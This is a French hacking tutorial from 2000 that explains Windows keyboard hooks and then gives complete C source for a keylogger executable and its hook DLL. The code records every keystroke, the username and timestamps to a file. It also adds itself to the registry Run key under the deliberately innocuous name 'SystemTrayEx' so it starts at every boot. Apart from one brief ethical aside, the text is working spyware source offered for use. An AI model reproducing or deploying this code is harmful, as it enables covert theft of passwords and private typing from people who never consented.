| Keylogger Win32

I) Introduction
II) Théorie relative au keylogger
III) La pratique
IV) Conclusion

I) Introduction

Salut tout le monde, voici un nouvel article dans la collection "Je programme des tas de trucs supers avec obscurer", au menu aujourd'hui c'est un keylogger (sous Win 9x car je suis en vancances et donc pas chez moi = pas de NT today). Et oui, dans un premier temps je vais expliquer la théorie générale d'un Keylogger, et dans un deuxième temps la pratique. Je n'ai pas eu trop le temps de réfléchir à des sujets d'articles pendant les vancances donc vous aurez que 2 articles de moi et c'est tout (en fait Medgi m'a dit : "Comment ça marche un keylogger ?" et je me suis dit que ça ferait un bon article, donc merci Medgi). Pour nos amis débutants : a quoi sert un keylogger : et bien, c'est un programme discret qui passe le plus clair de son temps à enregistrer dans un fichier toutes les touches que vous tappez (viscieux hein !) Bref, c'est un moyen comme un autre de récupérer des informations interressantes sur les utilisateurs d'une machine. Voila. Ha oui j'oubliais, surtout ne lancez pas un keylogger sur une autre machine que la votre, ce n'est pas très correct.
Maintenant, fini le blabla, venons-en au fait !

II) Théorie relative au keylogger

Les Hooks windows

Windows contient un mécanisme qu'on appelle les 'Hooks'. Les hooks sont disposés en chaines et on appelle ça des "hook chains" hé hé... heu.... oui donc, un hook c'est une procédure qui est spécifique à un type d'évenement, et qui est appellée à chaque fois que l'évenement se produit. Les hooks peuvent être spécifiques à 12 évenements différents.
Exemple : la souris, le clavier, des messages postés aux thread., etc... Si je place un hook pour la souris, windows va appeller une fonction que j'aurais fait à chaque fois que je toucherai à la souris par exemple.

Les hooks sont appellés en l'ordre inverse de leur création, le dernier créé est le premier appellé, il décide ensuite si le message doit être passé ou non aux autres hooks (d'ou la notion de chaine : on se passe le message à la passe passe le oinj :).
Lorqu'on installe un Hook à l'aide de l'API "SetWindowsHookEx", il peut être local au processus ou global (tout le système)
Tout le système ?? Oui...tout...

> `HHOOK SetWindowsHookEx(`

> `int idHook, // type of hook to install`
> `HOOKPROC lpfn, // address of hook procedure`
> `HINSTANCE hMod, // handle of application instance`
> `DWORD dwThreadId // identity of thread to install hook for`
> `);`

`idHook` doit contenir : WH_KEYBOARD
`lpfn` va contenir l'adresse d'une fonction "KeyboardProc"
`hMod` va contenir un handle vers le module contenant la fonction "KeyboardProc" (c'est une DLL voir plus loin)
`dwThreadId` doit être à NULL pour que le Hook soit lancé sur tout le système (Tout ??? Oui ! tout !)

> `LRESULT CALLBACK KeyboardProc(`

> `int code, // hook code`
> `WPARAM wParam, // virtual-key code`
> `LPARAM lParam // keystroke-message information`
> `);`

L'interet ici pour notre programme est de placer un hook de type clavier sur tout le système, qui permettra à notre fonction KeyboardProc d'être appellée à chaque fois que le clavier change de status, de plus notre fonction sera appellée avant que le mesage ne parvienne à l'application destinée, on pourra donc modifier le message, bloquer des touches par exemple ce qui n'est pas le but de cet article mais ça peut vous interresser, amis lecteurs.

Donc, lorqu'on a placé le hook de type WH_KEYBOARD qui pemet à "KeyboardProc" d'être lancée à chaque évenement de type clavier, notre fonction KeyboardProc pourra donc placer la touche frappée dans un fichier. Elle recoit comme paramètres toutes les informations nécessaires à cela (virtual-key code et lParam contient des info sur la touche frappée et sur l'état du clavier)

Pour passer le message aux autres hooks su systèmes (les autres de la chaîne) on fait CallNextHookEx :

> `LRESULT CallNextHookEx(`

> `HHOOK hhk, // handle to current hook`
> `int nCode, // hook code passed to hook procedure`
> `WPARAM wParam, // value passed to hook procedure`
> `LPARAM lParam // value passed to hook procedure`
> `);`

On a juste à lui envoyer les paramètres qu'on a reçu (Cette fonction est facultative donc on l'utilise pas)
De plus, si KeyboardProc retourne FALSE, alors le message arrivera jusqu'à l'application à qui il est réellement destiné (Word, par exemple, enfin, le programme sur lequel on tappe notre texte ultra-secret ;). Si KeyboardProc retourne une valeur non nulle, alors le message n'arrivera pas à destination (merde... mon clavier marche plus !!!)

Un hook se retire avec "UnhookWindowsHookEx"

`BOOL UnhookWindowsHookEx(`

`HHOOK hhk // handle of hook procedure to remove`
`);`

Un hook qui se place sur tout le système, signifie que la fonction appellée à chaque fois que l'on touche au clavier doit se trouver dans une .DLL, ce qui induit un....

Petit rappel sur les DLL (mais alors tout petit)

Une DLL ou Dynamic Load Library, est un module qui peut être chargé par un executable. Elle exporte des fonctions.
Par exemple, quand vous utilisez la fonction "CreateFile", vous loadez la library Kernel32.dll puis vous executez la fonction CreateFile exportée par kernel32.dll.(désolé pour ceux qui savent déjà tout ça) Pour faire notre keylogger, on va devoir créer un programme qui va loader une DLL. On va créer aussi une DLL qui va exporter les fonctions : InstallHook, UninstallHook et KeyboardProc.
Une DLL doit contenir une fonction principale, qui sera appellée lorsque la DLL sera Loadée/Unloadée qui sert pour les initialisations entre autre...

`BOOL WINAPI DllEntryPoint(`

`HINSTANCE hinstDLL, // handle to DLL module`
`DWORD fdwReason, // reason for calling function`
`LPVOID lpvReserved // reserved`
`);`

Si la DLL est attachée à un process, à un thread, si elle est détachée d'un process, d'un thread, cette fonction est appellée,
Elle est appellée lorsque LoadModule ou LoadLibrary, ou FreeLibrary etc... est appellée.
`fdwReason` contient l'une des 4 valeurs possibles, à savoir :
`DLL_PROCESS_ATTACH`
`DLL_PROCESS_DETACH`
`DLL_THREAD_ATTACH`
`DLL_THREAD_DETACH`
Je dis ça comme ça, en fait on s'en fout dans notre prog :)

Quand on code une DLL (Visual C++ pour moi), les fonctions qui s'exportent doivent être déclarées ainsi :
`__declspec(dllexport)int Fuck();`
Signifie que Fuck() est exportée par le module.

Petit rappel sur le clavier

Comment passe-t-on d'un virtuel key code à un Ascii key code ? (On s'en fout ? Bein cliquez ici alors pfff)
Et bien voila le principe :

le fonction KeyboardProc recoit wParam (virtual-key code), et lParam, qui contient entre autre le scan code
La fonction ToAscii à besoin du scan code, du virtual key code, et de l'état général du clavier.

> `int ToAscii(`
> `UINT uVirtKey, // virtual-key code`
> `UINT uScanCode, // scan code`
> `PBYTE lpKeyState, // address of key-state array`
> `LPWORD lpChar, // buffer for translated key`
> `UINT uFlags // active-menu flag`
> `);`

`unsigned char *KeyState;`
`GetKeyboardState(KeyState);`

Place dans KeyState l'état du clavier en général
Pour l'avoir en ASCII on fait :

`ToAscii(wParam,lParam,KeyState,buffer,0);`

buffer contient le caractère comme nous le voulons : en ASCII :)

Petit rappel sur la base de registre

Nous voulons que notre Keylogger s'execute à chaque démarrage, pour cela il faut rajouter une clef dans la base de registre à

`HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\` pour windows 9x

On va appeller cette clef `"SystemTrayEx"` afin de ne pas paraitre 'louche' ;)
Sa valeur sera le Path vers notre prog, il sera donc exécuté à chaque démarrage.

On va utiliser : RegCreateKeyEx puis RegSetValueEx, puis RegCloseKey.

> `LONG RegCreateKeyEx(`

> `HKEY hKey, // handle of an open key`
> `LPCTSTR lpSubKey, // address of subkey name`
> `DWORD Reserved, // reserved`
> `LPTSTR lpClass, // address of class string`
> `DWORD dwOptions, // special options flag`
> `REGSAM samDesired, // desired security access`
> `LPSECURITY_ATTRIBUTES lpSecurityAttributes, // address of key security structure`
> `PHKEY phkResult, // address of buffer for opened handle`
> `LPDWORD lpdwDisposition // address of disposition value buffer`
> `);`

On l'invoque de cette manière :

> `char *KeyPath = "software\\microsoft\\windows\\currentversion\\run\\";`
> `struct HKEY__ *hKey;`
> `DWORD hKeyResult;`

> `RegCreateKeyEx(HKEY_LOCAL_MACHINE,`
> `KeyPath,`
> `0,`
> `0,`
> `REG_OPTION_NON_VOLATILE,`
> `KEY_ALL_ACCESS,`
> `0,`
> `&hKey,`
> `&hKeyResult);`

La clef est ouverte, maintenant, on la rempli :

> `char *KeyName="SystemTrayEx";`
> `char *KeyValue=GetCommandLine(); // Pour récupérer le Path de notre file`

> `RegSetValueEx(hKey,KeyName,0,REG_SZ,KeyValue,sizeof(KeyValue)+1);`

On ferme la clef :

> `RegCloseKey(hKey);`

Et voila, le file est executé à chaque démarrage ! Nous avons tout les outils pour construire notre Keylogger, c'est parti !
Désolé pour ceux qui savaient parfaitement tout ce qui était dis dans les rappels mais tout le monde ne sais pas tout ça (si ? oups, sorry) Cependant, si vous n'avez pas tout compris, cliquez ici :)

III) La pratique

Maintenant, on ne rie plus :||
Je vous balance le code et je commente, comme d'habitude ;)

*PROGRAMME PRINCIPAL, LANCEUR DU KEYLOGGER*
`-----CUT HERE----------CUT HERE----------CUT HERE----------CUT HERE----------CUT HERE-----`

> `/*`
> `Programme executable du keylogger`
> `by obscurer```

> `21/08/2k`
> `Copyright Tipiak - www.tipiak.net -`
> `*/```

> `#include <windows.h>`
> `#define NULL 0```

> `HHOOK hHook;```

> `int InstallHook (HMODULE hModDLL, HOOKPROC addr);`
> `int UninstallHook();```

> `int PASCAL WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,`
> `LPSTR lpCmdLine, int nShowCmd)`
> `{`
> `HOOKPROC addr; // Utilisé pour chopper l'adresse de KeyboardProc dans la DLL`
> ``
> `HINSTANCE LibHandle; // Handle de la DLL```

> `char *KeyValue;`
> ``
> `int ret;```

> `struct HKEY__ *hKey; // La clef`
> ``
> `DWORD hKeyResult;`
> `` ``

> `KeyValue=GetCommandLine(); // On choppe le Path vers le fichier pour mettre`
> `//dans le base de registre`
> `` ``

> `RegCreateKeyEx(HKEY_LOCAL_MACHINE, // Créé la clef`
> `"software\\microsoft\\windows\\currentversion\\run\\",`
> `0,`
> `0,`
> `REG_OPTION_NON_VOLATILE,`
> `KEY_ALL_ACCESS,`
> `0,`
> `&hKey,`
> `&hKeyResult);```

> `RegSetValueEx(hKey,"SystemTrayEx",0,REG_SZ,KeyValue,sizeof(KeyValue)+1);//on rempli```

> `RegCloseKey(hKey); // On ferme```

> ``
> `LibHandle = LoadLibrary("hook.dll"); // On charge la DLL`
> `if(LibHandle==NULL) {goto hell;}```

> `addr = (HOOKPROC) GetProcAddress(LibHandle, "?KeyboardProc@@YGJHIJ@Z");`
> `// On choppe l'adresse de KeyboardProc (oui je sais, le nom est bizarre`
> `// mais le DLL exporte ce nom là, je ne sais pas pourquoi :/`
> `if(addr==0) { goto hell; }`
> ``
> `ret=InstallHook(LibHandle,addr); // Hook installé`
> `if(ret==FALSE) { goto hell; }`
> ``
> `Sleep(INFINITE); // J'ai trouvé que ça pour faire attendre le Programme`
> ``
> `UninstallHook(); // Hook désinstallé```

> `hell:`
> `ExitProcess(NULL);```

> `return TRUE;`
> `}`
> `` ``

> `int InstallHook (HMODULE hModDLL, HOOKPROC addr)`
> `{ // Cette fonction.... installe le hook (d'ou le nom : installhook)`
> `HANDLE OutFile;`
> `char *buffer;`
> `char *writebuf;`
> `char *time;`
> `char *date;`
> `DWORD temp;`
> `DWORD size;`
> ``
> `hHook=SetWindowsHookEx(WH_KEYBOARD,addr,hModDLL,NULL); // On met le hook`
> `if(hHook==NULL) { return FALSE; }```

> `buffer=(char *)GlobalAlloc(GPTR,100);`
> `writebuf=(char *)GlobalAlloc(GPTR,500);`
> `time=(char *)GlobalAlloc(GPTR,100);`
> `date=(char *)GlobalAlloc(GPTR,100);```

> `OutFile=CreateFile("C:\\out.txt",GENERIC_WRITE, // On créé un fichier`
> `FILE_SHARE_READ+FILE_SHARE_WRITE,`
> `NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);`
> ``
> `if(OutFile==INVALID_HANDLE_VALUE) { return FALSE; }`
> `` ``

> `SetFilePointer(OutFile,NULL,NULL,FILE_END); // On va à la fin```

> `size=50;`
> `GetUserNameA(buffer,&size); // On choppe le username`
> `GetTimeFormat(LOCALE_SYSTEM_DEFAULT,TIME_NOSECONDS,NULL,"HH':'mm tt",time,50);`
> `GetDateFormat(LOCALE_SYSTEM_DEFAULT,DATE_LONGDATE,NULL,NULL,date,50);`
> `// on a la date et l'heure pour mettre dans le fichier`
> `` ``

> `wsprintf(writebuf,"\x0d\x0a\x0d\x0a username : %s \x0d\x0a Date : %s \x0d\x0a Time : %s.\x0d\x0a All keys are being logged in this file :) \x0d\x0a\x0d\x0a",buffer,date,time);`
> `WriteFile(OutFile,writebuf,strlen(writebuf),&temp,NULL);```

> `// On écrit tout ça dans notre file pour faire boooo```

> `GlobalFree(buffer);`
> `GlobalFree(writebuf);`
> `GlobalFree(time);`
> `GlobalFree(date);`
> `return TRUE;`
> `}```

> `int UninstallHook(){ // No comment`
> `UnhookWindowsHookEx(hHook);`
> `return TRUE;`
> `}`
> `// EOF`
> ``

`-----CUT HERE----------CUT HERE----------CUT HERE----------CUT HERE----------CUT HERE-----`

Et maintenant, la DLL !

*DLL CHARGEE PAR LE KEYLOGGER*
`-----CUT HERE----------CUT HERE----------CUT HERE----------CUT HERE----------CUT HERE-----`

`/*`
`Library hook.dll chargée par le keylogger`
`by obscurer```

`21/08/2k`
`Copyright Tipiak - www.tipiak.net -`
`*/```

`#include <windows.h>```

`BOOL WINAPI DllEntryPoint(HINSTANCE hinstDLL,DWORD fdwReason,LPVOID lpvReserved)`
`{`
`return TRUE;`
`}`
`` ``

`__declspec(dllexport) LRESULT CALLBACK KeyboardProc(int code,WPARAM wParam,LPARAM lParam)`
`{`
``
`HANDLE File;`
`long TEMP;`
`char *buf;`
`unsigned char *KeyState;`
`DWORD temp;```

`buf=(char *)GlobalAlloc(GPTR,5);`
`KeyState=(unsigned char *)GlobalAlloc(GPTR,256);```

`/*`
`Le bit 31 de lParam (0x40000000 en hexa donc), est à 1 si la touche relachée, ou à 0 si elle`
`est préssée. On fait donc un AND pour savoir l'état du bit 31, si la touche est tappée, on`
`continue et on la log, sinon, on quitte (pour ne pas logger 2 fois la même touche à chaque coup)`
`*/```

`TEMP=lParam;`
`TEMP&=0x40000000;`
`if(TEMP!=0) { goto die_now; }```

`File=CreateFile("C:\\out.txt",GENERIC_WRITE, // On ouvre le fichier`
`FILE_SHARE_READ+FILE_SHARE_WRITE,`
`NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);`
``
`if(File==INVALID_HANDLE_VALUE) { goto die_now; }```

`SetFilePointer(File,NULL,NULL,FILE_END); // On se place à la fin```

`GetKeyboardState(KeyState); // On choppe l'état du clavier`
`ToAscii(wParam,lParam,KeyState,(unsigned short *)buf,0); // buf contient le code ASCII```

`WriteFile(File,buf,strlen(buf),&temp,NULL); // On balance ça dans le file`
`FlushFileBuffers(File); // juste au cas ou```

`CloseHandle(File); // ferme le fichier```

`die_now:```

`GlobalFree(buf);`
`GlobalFree(KeyState);```

`return FALSE; // return FALSE pour que la touche arrive à destination`
`}```

`// EOF```

`-----CUT HERE----------CUT HERE----------CUT HERE----------CUT HERE----------CUT HERE-----`

And finally, it was done, comme dirait l'autre ! Mettez l'exe et la dll dans le même répertoire, lancez le .exe et c bon, les touches
sont loggées dans `C:\out.txt` et le prog est dans la base de registre.Tranquille non ? (non ? Pfff vous êtes durs là ...)

IV) Mon avis sur "X-Men le film" / Conclusion

Pas mal / Pour stopper le Keylogger faites un bon vieux Ctrl-Alt-Suppr et dégagez le.
Je n'ai pas intégré de fonction qui cache le nom dans la liste, mais sinon, on pourrait pas le stopper alors bon... (en plus j'ai pas cherché). Vous avez remarqué que à chaque touche tappée, on ouvre le fichier, on écrit et on le ferme. Je sais que cela peut paraître un peu barbare mais la fonction "KeyboardProc" est copiée pour chaque process du système, et on ne peut pas lui passer d'argument comme un handle de file, de même elle ne peut pas dialoguer avec le programme principal (une solution potentielle serait d'utiliser les messages, mais alors il faudrait connaitre l'Id de la fenêtre à qui on envoie le méssage, même problème) Le file mapping reste aussi possible en théorie mais je n'y suis pas parvenu n'ayant pas non plus beaucoup insisté.
Au risque de me répéter, je dirai que je suis d'accord pour qu'on pompe cet article, du moment que j'y vois mon nom. Mes sources pour ce prog vienne de mon expérience personnelle et de Iczelion pour la théorie sur les Hooks windows.
Je vais maintenant savourer les derniers jours de vancances qu'il me reste, et je vous donne rendez-vous à la rentrée pour de nouvelles aventures dans le monde magique de l'informatique :)
(Quelle Outro minable :/ sorry j'ai pas fait littéraire)

A+ les cocos

obscurer, 21/08/2k

IRC : `#tipiak` etc...
MAIL : `obscurer@tipiak.net` || `x11@freesurf.fr` (au cas ou)

Fichier associés à l'articles:
hook.cpp
keylog.cpp